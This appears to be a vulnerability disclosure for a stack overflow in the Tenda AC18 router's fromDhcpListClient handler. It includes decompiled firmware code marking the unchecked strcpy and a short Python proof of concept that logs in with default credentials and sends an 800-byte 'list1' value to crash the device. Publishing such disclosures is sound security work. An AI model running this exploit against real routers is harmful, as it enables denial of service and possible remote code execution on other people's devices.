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CPSeek Create fromDhcpListClient-list.md

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1 contributor

96 lines (78 sloc) | 2.52 KB

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Tenda AC18 stack overflow vulnerability

* Version

V15.03.05.19_multi ac18_kf_V15.03.05.19(6318_).cn.bin)

* Firmware

<https://www.tenda.com.cn/download/detail-2683.html>

* Vulnerability Detail

In function fromDhcpListClient, the strings "%s%d" and "list" are combined into a new parameter "list*". The content obtained by the program from the parameter "list*" is passed to local_20, and then the local_20 is directly copied into the acStack545 + 1 stack through the strcpy function. There is no size check, so there is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

```
void fromDhcpListClient(undefined4 param_1)

{
    size_t sVar1;
    int iVar2;
```

```

undefined4 local_370;
undefined4 local_36c;
undefined4 local_368;
undefined4 local_364;
undefined local_360;
char acStack608 [63];
char acStack545 [257];
char acStack288 [256];
char *local_20;
undefined4 local_1c;
char *local_18;
int local_14;

local_14 = 0;
memset(acStack608,0,0x40);
local_18 = (char *)FUN_0002ba8c(param_1,"LISTLEN",&DAT_000ee1a8);
local_1c = FUN_0002ba8c(param_1,"page",&DAT_000ee1b4);
local_360 = 0;
local_14 = 1;
while (iVar2 = atoi(local_18), local_14 <= iVar2) {
    local_370 = 0;
    local_36c = 0;
    local_368 = 0;
    local_364 = 0;
    sprintf((char *)&local_370,"%s%d","list",local_14);
    local_20 = (char *)FUN_0002ba8c(param_1,&local_370,&DAT_000ee1c8);
    if ((local_20 == (char *)0x0) || (*local_20 == '\0')) break;
    /*
    overflow
    */
    strcpy(acStack545 + 1,local_20 + 1); //here is overflow
    sVar1 = strlen(acStack545 + 1);
    acStack545[sVar1] = '\0';
    sprintf(acStack608,"dhcps.Staticip%d",local_14);
    SetValue(acStack608,acStack545 + 1);
    local_14 = local_14 + 1;
}
SetValue("dhcps.Staticnum",local_18);
sprintf(acStack288,"/network/lan_dhcp_static.asp?page=%s",local_1c);
iVar2 = CommitCfm();
if (iVar2 != 0) {
    PostMsgToNetctrl(3);
}
FUN_0002be4c(param_1,acStack288);
return;
}

```

* POC

```
import requests
```

```
cmd = b'LISTLEN=1&page=&list1=' + b'A' * 800
```

```
url = b"http://192.168.2.2/login/Auth"
```

```
payload = b"http://192.168.2.2/goform/DhcpListClient/?" + cmd
```

```
data = {  
    "username": "admin",  
    "password": "admin",  
}
```

```
def attack():  
    s = requests.session()  
    resp = s.post(url=url, data=data)  
    print(resp.content)  
    resp = s.post(url=payload, data=data)  
    print(resp.content)
```

```
attack()
```